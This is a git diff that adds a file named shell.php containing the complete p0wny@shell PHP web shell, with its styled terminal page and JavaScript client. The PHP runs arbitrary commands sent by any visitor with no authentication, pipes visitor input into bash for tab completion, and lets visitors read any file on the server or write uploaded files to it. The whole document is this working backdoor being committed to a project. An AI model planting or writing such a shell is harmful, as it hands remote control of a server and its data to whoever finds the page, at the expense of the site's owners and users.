diff --git a/shell.php b/shell.php new file mode 100644 index 0000000..f8f41c3 --- /dev/null +++ b/shell.php @@ -0,0 +1,503 @@ +<?php + +function featureShell($cmd, $cwd) { + $stdout = array(); + + if (preg_match("/^\s*cd\s*$/", $cmd)) { + // pass + } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) { + chdir($cwd); + preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); + chdir($match[1]); + } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { + chdir($cwd); + preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); + return featureDownload($match[1]); + } else { + chdir($cwd); + exec($cmd, $stdout); + } + + return array( + "stdout" => $stdout, + "cwd" => getcwd() + ); +} + +function featurePwd() { + return array("cwd" => getcwd()); +} + +function featureHint($fileName, $cwd, $type) { + chdir($cwd); + if ($type == 'cmd') { + $cmd = "compgen -c $fileName"; + } else { + $cmd = "compgen -f $fileName"; + } + $cmd = "/bin/bash -c \"$cmd\""; + $files = explode("\n", shell_exec($cmd)); + return array( + 'files' => $files, + ); +} + +function featureDownload($filePath) { + $file = @file_get_contents($filePath); + if ($file === FALSE) { + return array( + 'stdout' => array('File not found / no read permission.'), + 'cwd' => getcwd() + ); + } else { + return array( + 'name' => basename($filePath), + 'file' => base64_encode($file) + ); + } +} + +function featureUpload($path, $file, $cwd) { + chdir($cwd); + $f = @fopen($path, 'wb'); + if ($f === FALSE) { + return array( + 'stdout' => array('Invalid path / no write permission.'), + 'cwd' => getcwd() + ); + } else { + fwrite($f, base64_decode($file)); + fclose($f); + return array( + 'stdout' => array('Done.'), + 'cwd' => getcwd() + ); + } +} + +if (isset($_GET["feature"])) { + + $response = NULL; + + switch ($_GET["feature"]) { + case "shell": + $cmd = $_POST['cmd']; + if (!preg_match('/2>/', $cmd)) { + $cmd .= ' 2>&1'; + } + $response = featureShell($cmd, $_POST["cwd"]); + break; + case "pwd": + $response = featurePwd(); + break; + case "hint": + $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']); + break; + case 'upload': + $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']); + } + + header("Content-Type: application/json"); + echo json_encode($response); + die(); +} + +?><!DOCTYPE html> + +<html> + + <head> + <meta charset="UTF-8" /> + <title>p0wny@shell:~#</title> + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> + <style> + html, body { + margin: 0; + padding: 0; + background: #333; + color: #eee; + font-family: monospace; + } + + *::-webkit-scrollbar-track { + border-radius: 8px; + background-color: #353535; + } + + *::-webkit-scrollbar { + width: 8px; + height: 8px; + } + + *::-webkit-scrollbar-thumb { + border-radius: 8px; + -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); + background-color: #bcbcbc; + } + + #shell { + background: #222; + max-width: 800px; + margin: 50px auto 0 auto; + box-shadow: 0 0 5px rgba(0, 0, 0, .3); + font-size: 10pt; + display: flex; + flex-direction: column; + align-items: stretch; + } + + #shell-content { + height: 500px; + overflow: auto; + padding: 5px; + white-space: pre-wrap; + flex-grow: 1; + } + + #shell-logo { + font-weight: bold; + color: #FF4180; + text-align: center; + } + + @media (max-width: 991px) { + #shell-logo { + font-size: 6px; + margin: -25px 0; + } + + html, body, #shell { + height: 100%; + width: 100%; + max-width: none; + } + + #shell { + margin-top: 0; + } + } + + @media (max-width: 767px) { + #shell-input { + flex-direction: column; + } + } + + @media (max-width: 320px) { + #shell-logo { + font-size: 5px; + } + } + + .shell-prompt { + font-weight: bold; + color: #75DF0B; + } + + .shell-prompt > span { + color: #1BC9E7; + } + + #shell-input { + display: flex; + box-shadow: 0 -1px 0 rgba(0, 0, 0, .3); + border-top: rgba(255, 255, 255, .05) solid 1px; + } + + #shell-input > label { + flex-grow: 0; + display: block; + padding: 0 5px; + height: 30px; + line-height: 30px; + } + + #shell-input #shell-cmd { + height: 30px; + line-height: 30px; + border: none; + background: transparent; + color: #eee; + font-family: monospace; + font-size: 10pt; + width: 100%; + align-self: center; + } + + #shell-input div { + flex-grow: 1; + align-items: stretch; + } + + #shell-input input { + outline: none; + } + </style> + + <script> + var CWD = null; + var commandHistory = []; + var historyPosition = 0; + var eShellCmdInput = null; + var eShellContent = null; + + function _insertCommand(command) { + eShellContent.innerHTML += "\n\n"; + eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> '; + eShellContent.innerHTML += escapeHtml(command); + eShellContent.innerHTML += "\n"; + eShellContent.scrollTop = eShellContent.scrollHeight; + } + + function _insertStdout(stdout) { + eShellContent.innerHTML += escapeHtml(stdout); + eShellContent.scrollTop = eShellContent.scrollHeight; + } + + function _defer(callback) { + setTimeout(callback, 0); + } + + function featureShell(command) { + + _insertCommand(command); + if (/^\s*upload\s+[^\s]+\s*$/.test(command)) { + featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]); + } else if (/^\s*clear\s*$/.test(command)) { + // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer + eShellContent.innerHTML = ''; + } else { + makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) { + if (response.hasOwnProperty('file')) { + featureDownload(response.name, response.file) + } else { + _insertStdout(response.stdout.join("\n")); + updateCwd(response.cwd); + } + }); + } + } + + function featureHint() { + if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete + + function _requestCallback(data) { + if (data.files.length <= 1) return; // no completion + + if (data.files.length === 2) { + if (type === 'cmd') { + eShellCmdInput.value = data.files[0]; + } else { + var currentValue = eShellCmdInput.value; + eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]); + } + } else { + _insertCommand(eShellCmdInput.value); + _insertStdout(data.files.join("\n")); + } + } + + var currentCmd = eShellCmdInput.value.split(" "); + var type = (currentCmd.length === 1) ? "cmd" : "file"; + var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1]; + + makeRequest( + "?feature=hint", + { + filename: fileName, + cwd: CWD, + type: type + }, + _requestCallback + ); + + } + + function featureDownload(name, file) { + var element = document.createElement('a'); + element.setAttribute('href', 'data:application/octet-stream;base64,' + file); + element.setAttribute('download', name); + element.style.display = 'none'; + document.body.appendChild(element); + element.click(); + document.body.removeChild(element); + _insertStdout('Done.'); + } + + function featureUpload(path) { + var element = document.createElement('input'); + element.setAttribute('type', 'file'); + element.style.display = 'none'; + document.body.appendChild(element); + element.addEventListener('change', function () { + var promise = getBase64(element.files[0]); + promise.then(function (file) { + makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) { + _insertStdout(response.stdout.join("\n")); + updateCwd(response.cwd); + }); + }, function () { + _insertStdout('An unknown client-side error occurred.'); + }); + }); + element.click(); + document.body.removeChild(element); + } + + function getBase64(file, onLoadCallback) { + return new Promise(function(resolve, reject) { + var reader = new FileReader(); + reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); }; + reader.onerror = reject; + reader.readAsDataURL(file); + }); + } + + function genPrompt(cwd) { + cwd = cwd || "~"; + var shortCwd = cwd; + if (cwd.split("/").length > 3) { + var splittedCwd = cwd.split("/"); + shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1]; + } + return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#"; + } + + function updateCwd(cwd) { + if (cwd) { + CWD = cwd; + _updatePrompt(); + return; + } + makeRequest("?feature=pwd", {}, function(response) { + CWD = response.cwd; + _updatePrompt(); + }); + + } + + function escapeHtml(string) { + return string + .replace(/&/g, "&") + .replace(/</g, "<") + .replace(/>/g, ">"); + } + + function _updatePrompt() { + var eShellPrompt = document.getElementById("shell-prompt"); + eShellPrompt.innerHTML = genPrompt(CWD); + } + + function _onShellCmdKeyDown(event) { + switch (event.key) { + case "Enter": + featureShell(eShellCmdInput.value); + insertToHistory(eShellCmdInput.value); + eShellCmdInput.value = ""; + break; + case "ArrowUp": + if (historyPosition > 0) { + historyPosition--; + eShellCmdInput.blur(); + eShellCmdInput.value = commandHistory[historyPosition]; + _defer(function() { + eShellCmdInput.focus(); + }); + } + break; + case "ArrowDown": + if (historyPosition >= commandHistory.length) { + break; + } + historyPosition++; + if (historyPosition === commandHistory.length) { + eShellCmdInput.value = ""; + } else { + eShellCmdInput.blur(); + eShellCmdInput.focus(); + eShellCmdInput.value = commandHistory[historyPosition]; + } + break; + case 'Tab': + event.preventDefault(); + featureHint(); + break; + } + } + + function insertToHistory(cmd) { + commandHistory.push(cmd); + historyPosition = commandHistory.length; + } + + function makeRequest(url, params, callback) { + function getQueryString() { + var a = []; + for (var key in params) { + if (params.hasOwnProperty(key)) { + a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key])); + } + } + return a.join("&"); + } + var xhr = new XMLHttpRequest(); + xhr.open("POST", url, true); + xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); + xhr.onreadystatechange = function() { + if (xhr.readyState === 4 && xhr.status === 200) { + try { + var responseJson = JSON.parse(xhr.responseText); + callback(responseJson); + } catch (error) { + alert("Error while parsing response: " + error); + } + } + }; + xhr.send(getQueryString()); + } + + document.onclick = function(event) { + event = event || window.event; + var selection = window.getSelection(); + var target = event.target || event.srcElement; + + if (target.tagName === "SELECT") { + return; + } + + if (!selection.toString()) { + eShellCmdInput.focus(); + } + }; + + window.onload = function() { + eShellCmdInput = document.getElementById("shell-cmd"); + eShellContent = document.getElementById("shell-content"); + updateCwd(); + eShellCmdInput.focus(); + }; + </script> + </head> + + <body> + <div id="shell"> + <pre id="shell-content"> + <div id="shell-logo"> + ___ ____ _ _ _ _ _ <span></span> + _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span> +| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span> +| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span> +| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span> +|_| |___/ \____/ <span></span> + </div> + </pre> + <div id="shell-input"> + <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label> + <div> + <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/> + </div> + </div> + </div> + </body> + +</html>